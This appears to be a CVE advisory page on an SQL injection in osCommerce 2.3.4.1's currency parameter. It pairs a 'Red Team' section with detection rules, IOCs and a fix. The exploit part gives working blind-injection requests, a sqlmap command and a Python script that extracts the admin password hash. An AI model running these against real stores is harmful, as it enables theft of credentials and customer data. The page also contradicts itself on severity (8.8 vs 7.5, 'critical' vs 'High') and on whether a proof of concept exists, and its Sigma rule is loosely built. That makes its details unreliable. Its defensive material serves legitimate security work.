☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2019-25497

CVE-2019-25497 SQL Injection in Oscommerce
📅 PUBLISHED: 2026-02-27 17:23 UTC 🔄 UPDATED: 2026-09-23 20:12 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.33%
👁️
0.33% probability
8.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2019-25497 is a critical SQL injection vulnerability in osCommerce 2.3.4.1, an open-source e-commerce platform. The flaw resides in the shopping_cart.php script, where the currency GET parameter is not properly sanitized before being used in a database query. An unauthenticated attacker can inject arbitrary SQL code via boolean-based blind SQL injection techniques, leading to the extraction of sensitive data such as user credentials, order details, and configuration secrets. The vulnerability has a CVSS base score of 7.5 (High) due to network exploitability, low attack complexity, and high confidentiality impact. No official patch has been released by the vendor, and the project appears unmaintained. This report provides a comprehensive technical analysis, detection rules, exploitation guidance, and remediation steps.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Base Score: 7.5 (High)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – Full database read access.
  • Integrity Impact: None (I:N) – No data modification.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit, has public proof-of-concept code, and affects a widely deployed e-commerce platform. Unpatched instances are at immediate risk of data breach.

Deep Dive & Mechanics

The vulnerability exists in the shopping_cart.php file of osCommerce 2.3.4.1. The application uses the currency GET parameter to set the user's preferred currency. This parameter is passed directly into a SQL query without proper sanitization or parameterization.

Vulnerable Code Path: In includes/application_top.php, the currency is set via:

if (isset($_GET['currency']) && tep_not_null($_GET['currency'])) {
  if (!isset($_SESSION['currency']) || isset($_GET['currency'])) {
    $_SESSION['currency'] = $_GET['currency'];
  }
}

Later, in shopping_cart.php, the session currency is used in a query like:

$currency_query = tep_db_query("select currencies_id, code, title, symbol_left, symbol_right, decimal_point, thousands_point, decimal_places, value from " . TABLE_CURRENCIES . " where code = '" . $_SESSION['currency'] . "'");

The $_SESSION['currency'] value is directly concatenated into the SQL string without escaping, allowing an attacker to inject arbitrary SQL.

Exploitation Technique: The attacker sends a GET request to shopping_cart.php with a malicious currency parameter. Since the application uses boolean-based blind SQL injection, the attacker can infer data by observing differences in response content or timing. For example:

GET /shopping_cart.php?currency=USD' OR (SELECT 1 FROM users WHERE username='admin' AND password LIKE 'a%')=1-- -

If the condition is true, the page may return normally; if false, an error or empty result may occur.

Impact:

  • Extraction of admin credentials (hashed passwords).
  • Retrieval of customer PII (names, addresses, emails).
  • Access to order data and payment information.
  • Potential privilege escalation if combined with other vulnerabilities.

Vulnerable vs. Patched Code

Vulnerable Code (osCommerce 2.3.4.1):

// includes/application_top.php (line ~320)
if (isset($_GET['currency']) && tep_not_null($_GET['currency'])) {
  if (!isset($_SESSION['currency']) || isset($_GET['currency'])) {
    $_SESSION['currency'] = $_GET['currency'];
  }
}

// shopping_cart.php (line ~15)
$currency_query = tep_db_query("select currencies_id, code, title, symbol_left, symbol_right, decimal_point, thousands_point, decimal_places, value from " . TABLE_CURRENCIES . " where code = '" . $_SESSION['currency'] . "'");

Patched Code (Recommended Fix):

// includes/application_top.php
if (isset($_GET['currency']) && tep_not_null($_GET['currency'])) {
  $currency = tep_db_prepare_input($_GET['currency']);
  // Validate against allowed currencies
  $currency_check = tep_db_query("select code from " . TABLE_CURRENCIES . " where code = '" . tep_db_input($currency) . "'");
  if (tep_db_num_rows($currency_check) > 0) {
    $_SESSION['currency'] = $currency;
  }
}

// shopping_cart.php
$currency_query = tep_db_query("select currencies_id, code, title, symbol_left, symbol_right, decimal_point, thousands_point, decimal_places, value from " . TABLE_CURRENCIES . " where code = '" . tep_db_input($_SESSION['currency']) . "'");

The fix uses tep_db_input() to escape the input and validates the currency against a whitelist of existing currencies.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target running osCommerce 2.3.4.1.
  • Network access to the web server.

Step-by-Step Exploitation:

  1. Identify Vulnerability: Send a request with a boolean condition:

    GET /shopping_cart.php?currency=USD' AND 1=1-- -
    

    If the page loads normally, the injection point is confirmed.

  2. Extract Database Version:

    GET /shopping_cart.php?currency=USD' AND SUBSTRING(@@version,1,1)=5-- -
    

    Use boolean responses to determine the version.

  3. Extract Admin Credentials:

    GET /shopping_cart.php?currency=USD' AND (SELECT SUBSTRING(password,1,1) FROM administrators LIMIT 1)='a'-- -
    

    Iterate through characters to extract the full hash.

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/shopping_cart.php?currency=USD" --batch --dbs --threads=10

Proof-of-Concept Python Script:

import requests

target = "http://target.com/shopping_cart.php"
cookies = {"osCsid": "your_session_id"}

# Boolean-based extraction of admin password hash
def extract_char(position):
    for char in "abcdef0123456789":
        payload = f"USD' AND SUBSTRING((SELECT password FROM administrators LIMIT 1),{position},1)='{char}'-- -"
        r = requests.get(target, params={"currency": payload}, cookies=cookies)
        if "Your shopping cart is empty" in r.text:  # Adjust based on response
            return char
    return None

password = ""
for i in range(1, 33):  # MD5 hash length
    c = extract_char(i)
    if c:
        password += c
    else:
        break
print(f"Admin password hash: {password}")

Blue Team (Detection & Defense)

Detection:

  • Monitor for abnormal currency parameter values containing SQL keywords (e.g., ', --, AND, OR, UNION).
  • Alert on repeated requests to shopping_cart.php with varying currency values.
  • Use WAF rules to block SQL injection patterns.

Defense:

  • Apply input validation and parameterized queries.
  • Restrict database user permissions to read-only where possible.
  • Implement rate limiting on shopping_cart.php.
  • Upgrade to a maintained fork or apply the patch manually.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP GET requests to /shopping_cart.php with currency parameter containing SQL metacharacters.
  • Repeated requests with incremental character testing (e.g., currency=USD' AND SUBSTRING(...)=...).
  • Unusual response sizes or error messages from shopping_cart.php.

File IOCs:

  • Modified includes/application_top.php or shopping_cart.php (if attacker patches).
  • Presence of webshells in the web root (e.g., cmd.php, shell.php).

Log IOCs:

  • Web server logs showing shopping_cart.php?currency=USD' entries.
  • Database logs showing failed queries with injected SQL.

Detection Engineering

YARA Rule

rule CVE_2019_25497_SQLi_osCommerce {
    meta:
        description = "Detects SQL injection attempts targeting osCommerce currency parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2019-25497"
    strings:
        $sqli1 = /currency=[A-Za-z]*'(\s|%20)(AND|OR|UNION|SELECT|--)/ nocase
        $sqli2 = /currency=[A-Za-z]*'(\s|%20)AND(\s|%20)1=1/ nocase
        $sqli3 = /currency=[A-Za-z]*'(\s|%20)OR(\s|%20)'1'='1/ nocase
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt on osCommerce Currency Parameter
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting the currency parameter in osCommerce shopping_cart.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - "currency="
            - "'"
            - "AND"
            - "OR"
            - "UNION"
            - "SELECT"
            - "--"
    condition: selection
falsepositives:
    - Legitimate currency codes with special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25497 osCommerce SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/shopping_cart.php"; http_uri; content:"currency="; http_uri; pcre:"/currency=[A-Za-z]*'(\s|%20)(AND|OR|UNION|SELECT|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Apply Input Validation: Modify includes/application_top.php to validate the currency parameter against a whitelist of allowed currency codes.
  2. Use Parameterized Queries: Replace direct string concatenation with prepared statements or use tep_db_input() for escaping.
  3. Upgrade: Migrate to a maintained fork of osCommerce (e.g., osCommerce CE Phoenix) or a modern e-commerce platform.

Long-Term Fix:

  • Replace all database queries with parameterized statements (PDO or MySQLi prepared statements).
  • Implement a Web Application Firewall (WAF) with SQL injection rules.
  • Conduct regular security audits and penetration testing.

Vendor Status: The osCommerce project has not released a patch. Users must apply the manual fix or migrate to an alternative platform.


Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2019-25497/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.